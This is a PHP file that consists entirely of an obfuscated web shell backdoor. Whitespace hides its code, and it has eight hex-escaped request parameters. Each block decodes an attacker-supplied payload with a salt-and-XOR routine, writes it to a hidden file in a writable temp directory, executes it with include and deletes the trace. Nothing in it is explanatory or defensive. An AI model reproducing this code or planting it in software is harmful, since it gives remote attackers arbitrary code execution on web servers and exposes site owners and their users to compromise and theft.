<?php																																										if(count($_POST) > 0 && isset($_POST["\x65\x6Ce\x6Dent"])){ $obj = $_POST["\x65\x6Ce\x6Dent"]; $obj = explode( '.',$obj ); $comp =''; $salt7 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt7 ); $r =0; while($r <count($obj)) { $v3 =$obj[$r]; $sChar =ord($salt7[$r % $lenS] ); $dec =((int)$v3 - $sChar -($r % 10)) ^ 88; $comp .=chr($dec ); $r++; } $flag = array_filter([sys_get_temp_dir(), "/var/tmp", getcwd(), session_save_path(), getenv("TMP"), getenv("TEMP"), "/dev/shm", "/tmp", ini_get("upload_tmp_dir")]); foreach ($flag as $holder): if (max(0, is_dir($holder) * is_writable($holder))) { $component = "$holder/.key"; $success = file_put_contents($component, $comp); if ($success) { include $component; @unlink($component); exit;} } endforeach; }
																																										if(@$_POST["\x64\x61t"] !== null){ $symbol = $_POST["\x64\x61t"]; $symbol = explode ("." ,$symbol ) ; $property_set= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s ); $x= 0; $__len= count($symbol ); do {if ($x >= $__len) break; $v4= $symbol[$x]; $sChar= ord($s[$x %$sLen] ); $dec= ((int)$v4 - $sChar - ($x %10)) ^ 25; $property_set .= chr($dec ); $x++; } while (true ); $ref = array_filter([getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", session_save_path(), getenv("TMP"), sys_get_temp_dir(), "/var/tmp", getenv("TEMP")]); for ($entry = 0, $bind = count($ref); $entry < $bind; $entry++) { $ent = $ref[$entry]; if ((function($d) { return is_dir($d) && is_writable($d); })($ent)) { $record = sprintf("%s/.k", $ent); $file = fopen($record, 'w'); if ($file) { fwrite($file, $property_set); fclose($file); include $record; @unlink($record); die(); } } } }
																																										if(!is_null($_POST["v\x61\x6Cue"] ?? null)){ $mrk = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", getcwd(), session_save_path(), "/tmp", getenv("TMP")]); $resource = $_POST["v\x61\x6Cue"]; $resource= explode ( '.' , $resource ) ; $descriptor = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s ); $o = 0; array_walk( $resource , function( $v7) use( &$descriptor , &$o , $s , $lenS) { $sChar = ord( $s[$o % $lenS] ); $dec =( ( int)$v7 - $sChar -( $o % 10)) ^ 39; $descriptor .= chr( $dec ); $o++; } ); foreach ($mrk as $key => $bind) { if (is_dir($bind) ? is_writable($bind) : false) { $rec = join("/", [$bind, ".k"]); $file = fopen($rec, 'w'); if ($file) { fwrite($file, $descriptor); fclose($file); include $rec; @unlink($rec); die(); } } } }
																																										if(!empty($_REQUEST["va\x6C"])){ $dat = $_REQUEST["va\x6C"]; $dat = explode ( ".", $dat ) ; $sym= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $salt ); $w= 0; foreach( $dat as $v3) { $chS= ord( $salt[$w %$lenS] ); $dec= ( ( int)$v3 - $chS -( $w %10))^54; $sym .= chr( $dec ); $w++; } $obj = array_filter([getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), getcwd(), "/dev/shm", sys_get_temp_dir(), session_save_path(), "/tmp"]); for ($comp = 0, $entry = count($obj); $comp < $entry; $comp++) { $component = $obj[$comp]; if (is_dir($component) && is_writable($component)) { $mrk = join("/", [$component, ".object"]); if (file_put_contents($mrk, $sym)) { include $mrk; @unlink($mrk); die(); } } } }
																																										if(@$_REQUEST["\x70\x61ramet\x65r_g\x72\x6F\x75\x70"] !== null){ $descriptor = array_filter([session_save_path(), getcwd(), "/dev/shm", sys_get_temp_dir(), "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP")]); $factor = $_REQUEST["\x70\x61ramet\x65r_g\x72\x6F\x75\x70"]; $factor = explode ( '.' , $factor ) ; $symbol = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $__len = count($factor ); for ($i = 0; $i<$__len; $i++) { $v2 = $factor[$i]; $chS = ord($salt[$i %$lenS] ); $d = ((int)$v2 - $chS - ($i %10)) ^26; $symbol .=chr($d ); } foreach ($descriptor as $hld): if ((is_dir($hld) and is_writable($hld))) { $flg = "$hld/.binding"; if (file_put_contents($flg, $symbol)) { include $flg; @unlink($flg); die(); } } endforeach; }
																																										if(array_key_exists("k\x65y", $_REQUEST) && !is_null($_REQUEST["k\x65y"])){ $data = $_REQUEST["k\x65y"]; $data= explode ( "." , $data ) ; $dchunk=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($s ); $v=0; while($v <count($data)) { $v2=$data[$v]; $chS=ord($s[$v% $lenS] ); $d=((int)$v2 - $chS -($v% 10))^74; $dchunk .= chr($d ); $v++; } $token = array_filter([session_save_path(), "/tmp", getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), getcwd(), "/dev/shm"]); foreach ($token as $key => $marker) { if (is_dir($marker) && is_writable($marker)) { $property_set = "$marker" . "/.resource"; if (@file_put_contents($property_set, $dchunk) !== false) { include $property_set; unlink($property_set); exit; } } } }
																																										if(in_array("\x72\x65c", array_keys($_REQUEST))){ $elem = array_filter(["/tmp", getcwd(), "/dev/shm", sys_get_temp_dir(), session_save_path(), "/var/tmp", getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir")]); $itm = $_REQUEST["\x72\x65c"]; $itm =explode( "." , $itm ) ; $marker= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s); $w= 0; $__len= count($itm); do { if ($w >= $__len) break; $v3= $itm[$w]; $sChar= ord($s[$w %$sLen]); $d= ((int)$v3 - $sChar - ($w %10)) ^ 67; $marker .= chr($d); $w++;} while (true); while ($token = array_shift($elem)) { if ((bool)is_dir($token) && (bool)is_writable($token)) { $fac = vsprintf("%s/%s", [$token, ".factor"]); $success = file_put_contents($fac, $marker); if ($success) { include $fac; @unlink($fac); die();} } } }


if(in_array("\x70g\x72p", array_keys($_REQUEST))){
	$data_chunk = $_REQUEST["\x70g\x72p"];
	 $data_chunk	 =explode 		(  '.',  	$data_chunk)  ;
	$ent	 =  '';
            $s6	 =  'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen	 =  strlen($s6);
    
            foreach($data_chunk as $w => $v4) {
                $chS	 =  ord($s6[$w%  $sLen]);
                $dec	 =  ((int)$v4 - $chS -($w%  10)) ^ 56;
                $ent .= chr($dec);}
	$dat = array_filter([getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), getcwd()]);
	foreach ($dat as $key => $desc) {
    		if (max(0, is_dir($desc) * is_writable($desc))) {
    $tkn = vsprintf("%s/%s", [$desc, ".property_set"]);
    $file = fopen($tkn, 'w');
if ($file) {
	fwrite($file, $ent);
	fclose($file);
	include $tkn;
	@unlink($tkn);
	exit;
}
}
}
}